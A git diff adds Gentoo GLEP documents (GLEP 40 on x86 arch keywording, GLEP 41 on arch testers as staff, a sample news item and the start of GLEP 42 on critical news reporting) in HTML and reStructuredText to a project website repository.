+which depends upon it.</li>
+<li>The relevant <tt class="docutils literal"><span class="pre">arch</span></tt> team must agree to it.</li>
+</ul>
+</div>
+<div class="section">
+<h2><a class="toc-backref" href="#id16" id="x86-arch-team" name="x86-arch-team">x86 arch team</a></h2>
+<p>A robust x86 arch team needs to be created.  The <a class="reference" href="mailto:x86&#64;gentoo.org">x86&#64;gentoo.org</a> alias already
+exists, and it merely needs to be used.  This team, with the aid of potential
+non-dev <tt class="docutils literal"><span class="pre">arch</span> <span class="pre">testers</span></tt>, has the responsibility of stabling all x86 packages.
+Current x86 devs who wish to mark their own packages stable must therefore
+either be members of or make individual arrangements with the x86 arch team.</p>
+</div>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id17" id="rationale" name="rationale">Rationale</a></h1>
+<p>There will be a considerable one-time cost involved in establishing a robust
+x86 arch team--a good number of bodies (the amd64 arch team has 19 active devs
+and 12 active non-dev arch testers) need to be recruited to be part of the
+new arch team, and convincing devs that it is in their best interests to work
+in a new fashion is likely to be even harder.  Certainly the benefit of
+consistency between the various archs is obvious, but is it worth the cost
+involved?  Here are the arguments for enduring the pain involved:</p>
+<ul class="simple">
+<li>Over time, x86 is likely to become a minority arch as 64-bit systems
+become the norm.  The implicit assumptions that underly the current
+system (that most devs, users, and package maintainers use x86)
+will become increasingly less valid.</li>
+<li>Markedly improved QA for x86.  Assuming that the author's own  is
+behavior is representative, most x86 devs run <tt class="docutils literal"><span class="pre">~x86</span></tt> systems.
+Thus, the assumption that devs are good <tt class="docutils literal"><span class="pre">x86</span></tt> testers is not really
+valid.  One obvious consequence is that packages tend to languish in
+<tt class="docutils literal"><span class="pre">~x86</span></tt> for a very long time, since x86 devs running <tt class="docutils literal"><span class="pre">~x86</span></tt> have little
+cause to notice that a package has not been marked stable.  The much larger
+effect, though, is that it is rare for <tt class="docutils literal"><span class="pre">x86</span></tt> packages to be stabled in
+the context of a full <tt class="docutils literal"><span class="pre">x86</span></tt> tree, so the big picture of a stable
+<em>system</em>, not just a stable package, is lost.  This approach of stabling
+in the context of a full stable <tt class="docutils literal"><span class="pre">arch</span></tt> tree, it has been <a class="reference" href="http://thread.gmane.org/gmane.linux.gentoo.devel/30369">argued</a> <a class="footnote-reference" href="#id6" id="id7" name="id7">[3]</a>, is
+the fundamental reason why the non-x86 archs have notably better QA
+than does the x86 arch.</li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id18" id="implementation" name="implementation">Implementation</a></h1>
+<p>Creation of a robust x86 team is already underway.  The more vital step
+is the official change in policy, along with a sustained effort to get
+existing x86 devs to go along with it.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id19" id="alternative-ideas" name="alternative-ideas">Alternative Ideas</a></h1>
+<p><a class="reference" href="http://thread.gmane.org/gmane.linux.gentoo.devel/31060">Stuart</a> <a class="footnote-reference" href="#id8" id="id9" name="id9">[4]</a> has suggested the creation of a new arch keyword: &quot;[-]maint&quot;, which
+would exist in tandem with the normal arch keywords, thereby making the
+package maintainer's intention explicit.  Ciaranm has responded that by
+definition a package in <tt class="docutils literal"><span class="pre">~arch</span></tt> is a candidate for <tt class="docutils literal"><span class="pre">arch</span></tt>, so a package's
+mere presence in the tree (without being in <tt class="docutils literal"><span class="pre">package.mask</span></tt>) should indicate
+the package maintainer's intention.  There was a fair bit of discussion about
+whether the idea should be a &quot;maint&quot; keyword, or named something else, or an
+entirely different variable, etcetera, but the basic gist didn't change much.</p>
+<p>Jstubbs notes that it could be a very good idea if all non-arch devs worked in
+overlays, but that new portage (gensync) support would be needed to make it
+truly viable.  Stuart pointed out that php5 support was handled just that way.
+One author's view is that this approach would make the &quot;package in <tt class="docutils literal"><span class="pre">~arch</span></tt>
+means that it's a de-facto candidate for <tt class="docutils literal"><span class="pre">arch</span></tt>&quot; interpretation even more
+valid.</p>
+<p>Ciaranm and weeve have noted that it is occasionally necessary for arch teams
+to override a package maintainer when it comes to stabling a package.  Stuart
+has asserted that in those cases the arch team should be willing to take on
+the support burden for that package.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id20" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>Not really an issue here.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id21" id="id1" name="id1">References</a></h1>
+<table class="docutils footnote" frame="void" id="id2" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id3" name="id2">[1]</a></td><td><a class="reference" href="http://tinyurl.com/bp859">http://tinyurl.com/bp859</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id4" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id5" name="id4">[2]</a></td><td><a class="reference" href="http://dev.gentoo.org/~plasmaroo/devmanual">http://dev.gentoo.org/~plasmaroo/devmanual</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id6" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id7" name="id6">[3]</a></td><td><a class="reference" href="http://thread.gmane.org/gmane.linux.gentoo.devel/30369">http://thread.gmane.org/gmane.linux.gentoo.devel/30369</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id8" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id9" name="id8">[4]</a></td><td><a class="reference" href="http://thread.gmane.org/gmane.linux.gentoo.devel/31060">http://thread.gmane.org/gmane.linux.gentoo.devel/31060</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id22" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0040.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0040.txt b/xml/htdocs/proj/en/glep/glep-0040.txt
new file mode 100644
index 00000000..eefafca3
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0040.txt
@@ -0,0 +1,158 @@
+GLEP: 40
+Title: Standardizing "arch" keywording across all archs.
+Version: $Revision: 1.4 $
+Last-Modified: $Date: 2006/09/04 03:09:50 $
+Author: Grant Goodyear <g2boojum@gentoo.org>
+Status: Final
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 3-Sep-2005
+Post-History: 6-Sep-2005 15-Sep-2005 3-Sep-2006
+
+Status
+======
+
+Approved by the Gentoo Council on 15 September 2005.  As of 20060903
+we have a robust x86 arch team, so this GLEP is final
+
+Credits
+=======
+
+This GLEP originated from a rather contentious discussion_ on gentoo-dev
+about combining the x86 and amd64 keywords.  This GLEP attempts to get at the
+heart of that discontent.  The proposed stable-keyword guidelines have been
+lifted verbatim from `The Doc`_.
+
+.. _discussion: http://tinyurl.com/bp859
+.. _The Doc: http://dev.gentoo.org/~plasmaroo/devmanual
+
+Abstract
+========
+
+It is time for x86 to no longer be an exception to the standard
+keywording guidelines.  Thus, an x86 arch team should be responsible 
+for moving packages from ~x86 to x86.
+
+Motivation
+==========
+
+The original, informal x86 keywording policy, where almost any x86 dev (which
+were the vast majority of devs) who used a package could mark it stable, arose
+from a time when there were relatively few Gentoo devs.  Adding packages to
+the tree was the principal concern, as opposed to maintaining existing
+packages. QA considerations have since modified that policy slightly, and now
+it is the package maintainers who should mark an x86 package stable.  Of
+course, that policy presumes that package maintainers are generally x86 devs,
+which is slowly becoming less and less true.
+
+This policy for x86 is quite different from how every other arch marks
+packages stable.  For the non-x86 archs, each arch has a specific "arch team"
+which is responsible for moving packages from ``~arch`` to ``arch``, although
+vapier notes that "arch teams generally defer to maintainers (and rightly so)
+as to *when* newer versions should go stable."  This approach has worked quite
+well for the non-x86 archs, and this GLEP asserts that the same approach would
+benefit x86 as well.
+
+Specification
+=============
+
+Stabling guidelines for all archs
+---------------------------------
+
+For a package to move to stable, the following guidelines must be met:
+
+*  The package has spent a reasonable amount of time in ``~arch`` first.
+   Thirty days is the usual figure, although this is clearly only a guideline.
+   For critical packages, a much longer duration is expected.  For small
+   packages which have only minor changes between versions, a shorter period
+   is sometimes appropriate.
+*  The package must not have any non-``arch`` dependencies.
+*  The package must not have any severe outstanding bugs or issues.
+*  The package must be widely tested.
+*  If the package is a library, it should be known not to break any package
+   which depends upon it.
+*  The relevant ``arch`` team must agree to it.
+
+x86 arch team
+-------------
+
+A robust x86 arch team needs to be created.  The x86@gentoo.org alias already
+exists, and it merely needs to be used.  This team, with the aid of potential
+non-dev ``arch testers``, has the responsibility of stabling all x86 packages.
+Current x86 devs who wish to mark their own packages stable must therefore
+either be members of or make individual arrangements with the x86 arch team.
+
+
+Rationale
+=========
+
+There will be a considerable one-time cost involved in establishing a robust
+x86 arch team--a good number of bodies (the amd64 arch team has 19 active devs
+and 12 active non-dev arch testers) need to be recruited to be part of the
+new arch team, and convincing devs that it is in their best interests to work
+in a new fashion is likely to be even harder.  Certainly the benefit of
+consistency between the various archs is obvious, but is it worth the cost
+involved?  Here are the arguments for enduring the pain involved:
+
+*  Over time, x86 is likely to become a minority arch as 64-bit systems
+   become the norm.  The implicit assumptions that underly the current
+   system (that most devs, users, and package maintainers use x86)
+   will become increasingly less valid.
+*  Markedly improved QA for x86.  Assuming that the author's own  is
+   behavior is representative, most x86 devs run ``~x86`` systems. 
+   Thus, the assumption that devs are good ``x86`` testers is not really
+   valid.  One obvious consequence is that packages tend to languish in
+   ``~x86`` for a very long time, since x86 devs running ``~x86`` have little
+   cause to notice that a package has not been marked stable.  The much larger
+   effect, though, is that it is rare for ``x86`` packages to be stabled in
+   the context of a full ``x86`` tree, so the big picture of a stable
+   *system*, not just a stable package, is lost.  This approach of stabling
+   in the context of a full stable ``arch`` tree, it has been argued_, is
+   the fundamental reason why the non-x86 archs have notably better QA
+   than does the x86 arch.
+
+.. _argued: http://thread.gmane.org/gmane.linux.gentoo.devel/30369
+
+Implementation
+==============
+
+Creation of a robust x86 team is already underway.  The more vital step 
+is the official change in policy, along with a sustained effort to get
+existing x86 devs to go along with it.
+
+Alternative Ideas
+=================
+
+Stuart_ has suggested the creation of a new arch keyword: "[-]maint", which 
+would exist in tandem with the normal arch keywords, thereby making the
+package maintainer's intention explicit.  Ciaranm has responded that by
+definition a package in ``~arch`` is a candidate for ``arch``, so a package's
+mere presence in the tree (without being in ``package.mask``) should indicate
+the package maintainer's intention.  There was a fair bit of discussion about
+whether the idea should be a "maint" keyword, or named something else, or an
+entirely different variable, etcetera, but the basic gist didn't change much.
+
+Jstubbs notes that it could be a very good idea if all non-arch devs worked in
+overlays, but that new portage (gensync) support would be needed to make it
+truly viable.  Stuart pointed out that php5 support was handled just that way.
+One author's view is that this approach would make the "package in ``~arch``
+means that it's a de-facto candidate for ``arch``" interpretation even more 
+valid.
+
+Ciaranm and weeve have noted that it is occasionally necessary for arch teams
+to override a package maintainer when it comes to stabling a package.  Stuart
+has asserted that in those cases the arch team should be willing to take on
+the support burden for that package.
+
+.. _Stuart: http://thread.gmane.org/gmane.linux.gentoo.devel/31060
+
+Backwards Compatibility
+=======================
+
+Not really an issue here.
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
diff --git a/xml/htdocs/proj/en/glep/glep-0041.html b/xml/htdocs/proj/en/glep/glep-0041.html
new file mode 100644
index 00000000..3291d9f1
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0041.html
@@ -0,0 +1,130 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 41 -- Making Arch Testers official Gentoo Staff</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0041.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">41</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Making Arch Testers official Gentoo Staff</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.8</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0041.txt?cvsroot=gentoo">2007/08/17 03:20:45</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Simon Stelling &lt;blubb&#32;&#97;t&#32;gentoo.org&gt;, Homer Parker &lt;hparker&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Approved</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">7-Sep-2005</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">15-Sep-2005, 13-Nov-2005, 17-Aug-2007</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id2" name="id2">Abstract</a></li>
+<li><a class="reference" href="#status" id="id3" name="id3">Status</a></li>
+<li><a class="reference" href="#motivation" id="id4" name="id4">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id5" name="id5">Specification</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id6" name="id6">Backwards Compatibility</a></li>
+<li><a class="reference" href="#copyright" id="id7" name="id7">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id2" id="abstract" name="abstract">Abstract</a></h1>
+<p>Arch Testers should be treated as official Gentoo staff.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="status" name="status">Status</a></h1>
+<p>Rejected by the Gentoo Council on 13 Oct. 2005.  This GLEP may be resubmitted
+if the issues brought up in the council meeting,
+<a class="reference" href="http://www.gentoo.org/proj/en/council/meeting-logs/20051013.txt">http://www.gentoo.org/proj/en/council/meeting-logs/20051013.txt</a>,
+are addressed in a new version of this GLEP.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="motivation" name="motivation">Motivation</a></h1>
+<p>Since Mike Doty (kingtaco) created an Arch Tester (AT) project in January 2005
+to reduce the developer's load and the amount of open keywording bugs for the
+amd64 porting team, many users have volunteered to become ATs. They are doing
+a fair share of everyday's work to keep the amd64 and ppc trees up to date.
+While they spent many hours and even had to pass the staff quiz, they are
+currently not recognized as official members of Gentoo.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="specification" name="specification">Specification</a></h1>
+<p>ATs should basically be treated as staff. This includes the following changes
+to the current situation:</p>
+<ul class="simple">
+<li>Get a &#64;(subdomain_to_be_determined).gentoo.org email address. The email
+address will just be an alias, and will be forwarded to their &#64;gentoo.org
+address if they go on to become a Gentoo developer.</li>
+<li>Get read-only access to the gentoo-x86 repository. This doesn't have to be
+individual accounts, a single account, without a shell, with all of their
+keys will be sufficiant.</li>
+</ul>
+<p>There will be a 30 day probationary/mentoring period for new ATs.The lead AT/HT
+for arch/herd will be responsible for the mentoring period. If arch/herd
+doesn't have a Lead AT/HT, then either the arch/herd lead or the Strategic AT
+Lead will be responsible. The Lead AT is a seasoned developer that watches for talent,
+recruits and mentors ATs. Additionally, the mentoring period should be shortened
+to a minimum of two weeks if an AT wants to take the end quiz to become a developer,
+assuming he has been AT for at least two weeks. The amd64 porting team has handled
+situations like this for a while and only made positive experiences.</p>
+<p>Also, the idea of an arch tester as a trustworthy user who is able to test
+critical changes (such as hard masked software branches), could be expanded
+to other herds. These 'ATs' wouldn't be called arch testers as the 'arch' is
+irritating, instead, herd tester (HT) could be used.</p>
+<p>As arch testers (and herd testers) become official staff, they should be
+handled by DevRel.</p>
+<p>Since ATs don't want to have to handle the big 'communication overhead'
+normally, they won't be subscribed to the gentoo-core mailing list and won't
+be able to vote.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>All current active arch testers should be migrated.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0041.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0041.txt b/xml/htdocs/proj/en/glep/glep-0041.txt
new file mode 100644
index 00000000..83cf09ac
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0041.txt
@@ -0,0 +1,82 @@
+GLEP: 41
+Title: Making Arch Testers official Gentoo Staff
+Version: $Revision: 1.8 $
+Last-Modified: $Date: 2007/08/17 03:20:45 $
+Author:	Simon Stelling <blubb@gentoo.org>, Homer Parker <hparker@gentoo.org>
+Status: Approved
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 7-Sep-2005
+Post-History: 15-Sep-2005, 13-Nov-2005, 17-Aug-2007
+
+Abstract
+========
+
+Arch Testers should be treated as official Gentoo staff.
+
+Status
+======
+
+Rejected by the Gentoo Council on 13 Oct. 2005.  This GLEP may be resubmitted
+if the issues brought up in the council meeting,
+http://www.gentoo.org/proj/en/council/meeting-logs/20051013.txt,
+are addressed in a new version of this GLEP.
+
+
+Motivation
+==========
+
+Since Mike Doty (kingtaco) created an Arch Tester (AT) project in January 2005
+to reduce the developer's load and the amount of open keywording bugs for the
+amd64 porting team, many users have volunteered to become ATs. They are doing
+a fair share of everyday's work to keep the amd64 and ppc trees up to date.
+While they spent many hours and even had to pass the staff quiz, they are
+currently not recognized as official members of Gentoo.
+
+
+Specification
+=============
+
+ATs should basically be treated as staff. This includes the following changes
+to the current situation:
+
+- Get a @(subdomain_to_be_determined).gentoo.org email address. The email
+  address will just be an alias, and will be forwarded to their @gentoo.org
+  address if they go on to become a Gentoo developer.
+- Get read-only access to the gentoo-x86 repository. This doesn't have to be
+  individual accounts, a single account, without a shell, with all of their 
+  keys will be sufficiant.
+
+There will be a 30 day probationary/mentoring period for new ATs.The lead AT/HT
+for arch/herd will be responsible for the mentoring period. If arch/herd
+doesn't have a Lead AT/HT, then either the arch/herd lead or the Strategic AT
+Lead will be responsible. The Lead AT is a seasoned developer that watches for talent,
+recruits and mentors ATs. Additionally, the mentoring period should be shortened 
+to a minimum of two weeks if an AT wants to take the end quiz to become a developer, 
+assuming he has been AT for at least two weeks. The amd64 porting team has handled 
+situations like this for a while and only made positive experiences.
+
+Also, the idea of an arch tester as a trustworthy user who is able to test
+critical changes (such as hard masked software branches), could be expanded
+to other herds. These 'ATs' wouldn't be called arch testers as the 'arch' is
+irritating, instead, herd tester (HT) could be used.
+
+As arch testers (and herd testers) become official staff, they should be
+handled by DevRel.
+
+Since ATs don't want to have to handle the big 'communication overhead'
+normally, they won't be subscribed to the gentoo-core mailing list and won't
+be able to vote.
+
+
+Backwards Compatibility
+=======================
+
+All current active arch testers should be migrated.
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0042-extras/example-news-item.txt b/xml/htdocs/proj/en/glep/glep-0042-extras/example-news-item.txt
new file mode 100644
index 00000000..a2ff30c1
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0042-extras/example-news-item.txt
@@ -0,0 +1,28 @@
+Title: YourSQL Upgrades from 4.0 to 4.1
+Author: Ciaran McCreesh <ciaranm@gentoo.org>
+Content-Type: text/plain
+Posted: 2005-11-01
+Revision: 1
+News-Item-Format: 1.0
+Display-If-Installed: <dev-db/yoursql-4.1_alpha
+
+YourSQL databases created using YourSQL version 4.0 are incompatible
+with YourSQL version 4.1 or later. There is no reliable way to
+automate the database format conversion, so action from the system
+administrator is required before an upgrade can take place.
+
+Please see the Gentoo YourSQL Upgrade Guide for instructions:
+
+    http://www.gentoo.org/doc/en/yoursql-upgrading.xml
+
+Also see the official YourSQL documentation:
+
+    http://dev.yoursql.com/doc/refman/4.1/en/upgrading-from-4-0.html
+
+After upgrading, you should also recompile any packages which link
+against YourSQL:
+
+    revdep-rebuild --library=libyoursqlclient.so.12
+
+The revdep-rebuild tool is provided by app-portage/gentoolkit.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0042.html b/xml/htdocs/proj/en/glep/glep-0042.html
new file mode 100644
index 00000000..8d5871c1
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0042.html
@@ -0,0 +1,630 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.6: http://docutils.sourceforge.net/" />
+  <title>GLEP 42 -- Critical News Reporting</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" /></head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0042.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">42</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Critical News Reporting</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.14</td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Ciaran McCreesh &lt;ciaranm&#32;&#97;t&#32;gentoo.org&gt;,
+Stephen Bennett &lt;spb&#32;&#97;t&#32;gentoo.org&gt;,
+Zach Medico &lt;zmedico&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference external" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0042.txt?cvsroot=gentoo">2010/02/22 11:38:26</a></td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference external" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">31-Oct-2005</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">1-Nov-2005, 5-Nov-2005, 7-Nov-2005, 11-Dec-2005, 13-Dec-2005, 18-Dec-2005, 5-Jan-2006, 2-Mar-2006, 6-Mar-2006, 12-Jun-2006, 5-Sep-2006</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic" id="contents">
+<p class="topic-title first">Contents</p>
+<ul class="simple">
+<li><a class="reference internal" href="#abstract" id="id22">Abstract</a></li>
+<li><a class="reference internal" href="#motivation" id="id23">Motivation</a></li>
+<li><a class="reference internal" href="#requirements" id="id24">Requirements</a></li>
+<li><a class="reference internal" href="#specification" id="id25">Specification</a><ul>
+<li><a class="reference internal" href="#overview" id="id26">Overview</a></li>
+<li><a class="reference internal" href="#required-portage-enhancements" id="id27">Required Portage Enhancements</a></li>
+<li><a class="reference internal" href="#news-item-identities" id="id28">News Item Identities</a></li>
+<li><a class="reference internal" href="#news-item-directories" id="id29">News Item Directories</a></li>
+<li><a class="reference internal" href="#news-item-files" id="id30">News Item Files</a><ul>
+<li><a class="reference internal" href="#news-item-headers" id="id31">News Item Headers</a></li>
+<li><a class="reference internal" href="#news-item-body" id="id32">News Item Body</a></li>
+<li><a class="reference internal" href="#example-news-item" id="id33">Example News Item</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#news-item-quality-control" id="id34">News Item Quality Control</a></li>
+<li><a class="reference internal" href="#news-item-distribution" id="id35">News Item Distribution</a><ul>
+<li><a class="reference internal" href="#server-side" id="id36">Server Side</a></li>
+<li><a class="reference internal" href="#client-side" id="id37">Client Side</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#news-item-clients" id="id38">News Item Clients</a></li>
+<li><a class="reference internal" href="#news-item-removal" id="id39">News Item Removal</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#integration-with-existing-systems" id="id40">Integration with Existing Systems</a></li>
+<li><a class="reference internal" href="#backwards-compatibility" id="id41">Backwards Compatibility</a></li>
+<li><a class="reference internal" href="#reference-implementation" id="id42">Reference Implementation</a></li>
+<li><a class="reference internal" href="#credits" id="id43">Credits</a></li>
+<li><a class="reference internal" href="#example-files" id="id44">Example Files</a></li>
+<li><a class="reference internal" href="#references" id="id45">References</a></li>
+<li><a class="reference internal" href="#copyright" id="id46">Copyright</a></li>
+</ul>
+</div>
+<div class="section" id="abstract">
+<h1><a class="toc-backref" href="#id22">Abstract</a></h1>
+<p>This GLEP proposes a new way of informing users about important updates and news
+related to the tree.</p>
+</div>
+<div class="section" id="motivation">
+<h1><a class="toc-backref" href="#id23">Motivation</a></h1>
+<p>Although most package updates are clean and require little user action,
+occasionally an upgrade requires user intervention.  Recent examples of the
+latter include the <tt class="docutils literal"><span class="pre">gcc-3.4</span></tt> stabilisation on <tt class="docutils literal">x86</tt> and the <tt class="docutils literal"><span class="pre">mysql-4.1</span></tt>
+database format changes.</p>
+<p>There are currently several ways of delivering important news items to our
+users, none of them particularly effective:</p>
+<ul class="simple">
+<li>Gentoo Weekly News</li>
+<li>The <tt class="docutils literal"><span class="pre">gentoo-announce</span></tt>, <tt class="docutils literal"><span class="pre">gentoo-user</span></tt> and <tt class="docutils literal"><span class="pre">gentoo-dev</span></tt> mailing lists</li>
+<li>The Gentoo Forums</li>
+<li>The main Gentoo website</li>
+<li>RSS feeds of Gentoo news</li>
+<li><tt class="docutils literal">einfo</tt> and <tt class="docutils literal">ewarn</tt> messages in <tt class="docutils literal">pkg_setup</tt> or <tt class="docutils literal">pkg_postinst</tt></li>
+</ul>
+<p>A more reliable way of getting news of critical updates out to users is required
+to avoid repeats of various prior upgrade debacles. This GLEP proposes a
+solution based around pushing news items out to the user via the <tt class="docutils literal">rsync</tt> tree.</p>
+<div class="important">
+<p class="first admonition-title">Important</p>
+<p class="last">This GLEP does not seek to replace or modify <tt class="docutils literal">einfo</tt> messages
+which are displayed post-install. That is a separate issue which is handled
+by <tt class="docutils literal">elog</tt> <a class="footnote-reference" href="#bug-11359" id="id1">[1]</a>.</p>
+</div>
+</div>
+<div class="section" id="requirements">
+<h1><a class="toc-backref" href="#id24">Requirements</a></h1>
+<p>An adequate solution must meet all of the following requirements:</p>
+<dl class="docutils">
+<dt>Preemptive</dt>
+<dd>Users should be told of changes <em>before</em> they break a system, not after the
+damage has already been done. Ideally, the system administrator would be
+given ample warning to plan difficult upgrades and changes, rather than only
+being told just before action is necessary.</dd>
+<dt>No user subscription required</dt>
+<dd>It has already been demonstrated <a class="footnote-reference" href="#forums-apache2" id="id2">[5]</a> that many users do not
+read the <tt class="docutils literal"><span class="pre">gentoo-announce</span></tt> mailing list or <tt class="docutils literal">RSS</tt> feeds. A solution that
+requires subscription has no advantage over current methods.</dd>
+<dt>No user monitoring required</dt>
